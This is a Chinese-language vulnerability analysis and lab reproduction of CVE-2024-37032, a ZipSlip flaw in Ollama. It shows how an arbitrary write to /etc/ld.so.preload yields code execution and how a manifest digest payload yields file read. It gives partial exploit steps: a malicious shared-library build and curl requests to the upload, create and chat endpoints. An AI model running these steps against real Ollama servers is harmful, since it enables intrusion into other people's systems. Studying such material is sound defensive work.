CVE-2024-37032 Ollama 远程命令执行
概述
Ollama 是一个开源的大型语言模型服务工具,旨在帮助用户快速在本地运行大模型。通过简单的安装指令,用户可以通过一条命令轻松启动和运行开源的大型语言模型。 它提供了一个简洁易用的命令行界面和服务器,专为构建大型语言模型应用而设计。用户可以轻松下载、运行和管理各种开源 LLM。与传统 LLM 需要复杂配置和强大硬件不同,Ollama 能够让用户在消费级的 PC 上体验 LLM 的强大功能。
漏洞背景
影响版本:Ollama < 0.1.34
Ollama 存在 ZipSlip 漏洞导致的任意文件写入,通过创建恶意 zip 文件写入<font style="color:rgb(63, 63, 63);">/etc/ld.so.preload</font>
可以实现远程命令执行。
对于 ZipSlip 漏洞案例可以参考 CodeQL 中有关 go-zipslip。
漏洞分析
代码分析
具体漏洞发生在server/model.go
中parseFromZipFile
函数,官方在解压压缩文件的时候没有对文件名检测../
的问题导致路径可遍历进一步导致任意文件写入。
进一步到 RCE
Zipslip 常见的用来升级为 RCE 就是通过写入恶意共享库到目标的文件系统中,这个恶意共享库包含攻击者希望执行的代码,例如反弹Shell、提权代码等。
通过篡改/etc/ld.so.preload
文件,将恶意共享库的路径添加到该文件中,每当系统启动一个新进程时,都会自动加载这个恶意共享库。
如何触发新进程?
Ollama 公开了多个执行各种操作的 API endpoints。
攻击者通过向Ollama API服务器的/api/create
端点发送请求,触发 Zipslip 完成恶意文件写入。
攻击者通过向Ollama API服务器的/api/chat
端点发送请求,触发服务器启动一个新进程。
对于初始构造过的恶意 zip 有两种方式传入:
/api/pull
Ollama通常使用其官方注册(registry.ollama.com),但也可以从一个私有注册中提取,该注册是一个托管AI模型的自定义服务器(类似于Ollama的官方注册表)。
Ollama 使用特定格式的模型名称:[registry]/[namespace]/[model]:[tag]
• Default: ollama pull llama2
• Private: ollama pull myregistry.com/myorg/custommodel:latest
也可以直接使用/api/pull
端点:
1 | curl http://[target]:11434/api/pull -d '{ |
当使用/api/pull
API从私有注册中拉取模型时,可以提供恶意清单文件(一种结构化文档,用于提供有关Ollama容器映像中的模型和层的元数据和信息)。该文件可以在摘要字段中包含路径遍历有效载荷。
当下载模型时,通常会得到一个包含 manifest 文件的下载包或资源。在一个正常的 manifest 文件中,给定 layer 的 digest 字段应该与该层的哈希值一致。该字段还作为模型文件存储在磁盘的标识符,例如:
1 | /root/.ollama/models/blobs/sha256-2049f5674b1e92b4464e5729975c9689fcfbf0b0e4443ccf10b5339f370f9a54 |
但是,模型文件存储到文件系统时未对 digest 字段进行校验,如果在该字段中构造一个 payload,将会导致服务器在处理 manifest 时读取并泄露 digest 字段指定的文件内容,通过该漏洞,攻击者可读取任意文件。
例如,当通过 http://<VICTIM>:11434/api/pull
从私有仓库中下载模型时,可能会获取一个恶意的 manifest 文件,该文件的 digest 字段中将包含路径遍历的 payload:
1 | { |
/api/blobs
该接口更为方便可以直接上传构造好的恶意 zip 文件完成上传。
1 | sha256sum poc.zip |
任意文件读取
要利用此漏洞,攻击者会在服务器上放置恶意清单文件(例如/root/.ollama/models/manifests/%IP_ADDRESS%/library/manifest/latest
)。该文件包含其图层的摘要字段中的有效负载。当尝试通过/api/push端点将此恶意模型推送到远程注册表时,服务器会处理清单文件。但是,由于对摘要字段验证不当,服务器错误地将有效载荷解释为合法的文件路径。
当通过/api/push
将该模型推送到远程仓库时,服务器将泄露 digest 字段中指定的文件内容,对于任意文件读取可参考https://github.com/Bi0x/CVE-2024-37032.git
漏洞复现
- 准备需要的 poc
编译恶意 so
1 | //gcc -shared -o vuln.so -fPIC poc.c |
创建包含恶意 so 库的 zip 和覆盖/etc/ld.so.preload
1 |
|
- 通过 docker 启动 ollama 环境
1 | docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33 |
- 使用
/api/blobs
API 完成恶意 zip 上传
1 | curl -T poc.zip -X POST 127.0.0.1:11434/api/blobs/sha256:1c2fe79aad0292fb6cccc05110fd26946932fc2e51357368c8860622d7c98a91 |
- 通过触发
/api/create
完成任意文件写入
1 | curl http://127.0.0.1:11434/api/create -d '{ |
- 触发
/api/chat
启动新进程加载/etc/ld.so.preload
中配置的恶意库/tmp/vuln.so
1 | curl -X POST http://localhost:11434/api/chat -H "Content-Type: application/json" -d '{ |
参考
https://nvd.nist.gov/vuln/detail/cve-2024-37032
https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
https://codeql.github.com/codeql-query-help/go/go-zipslip/
https://github.com/ollama/ollama/commit/123a722a6f541e300bc8e34297ac378ebe23f527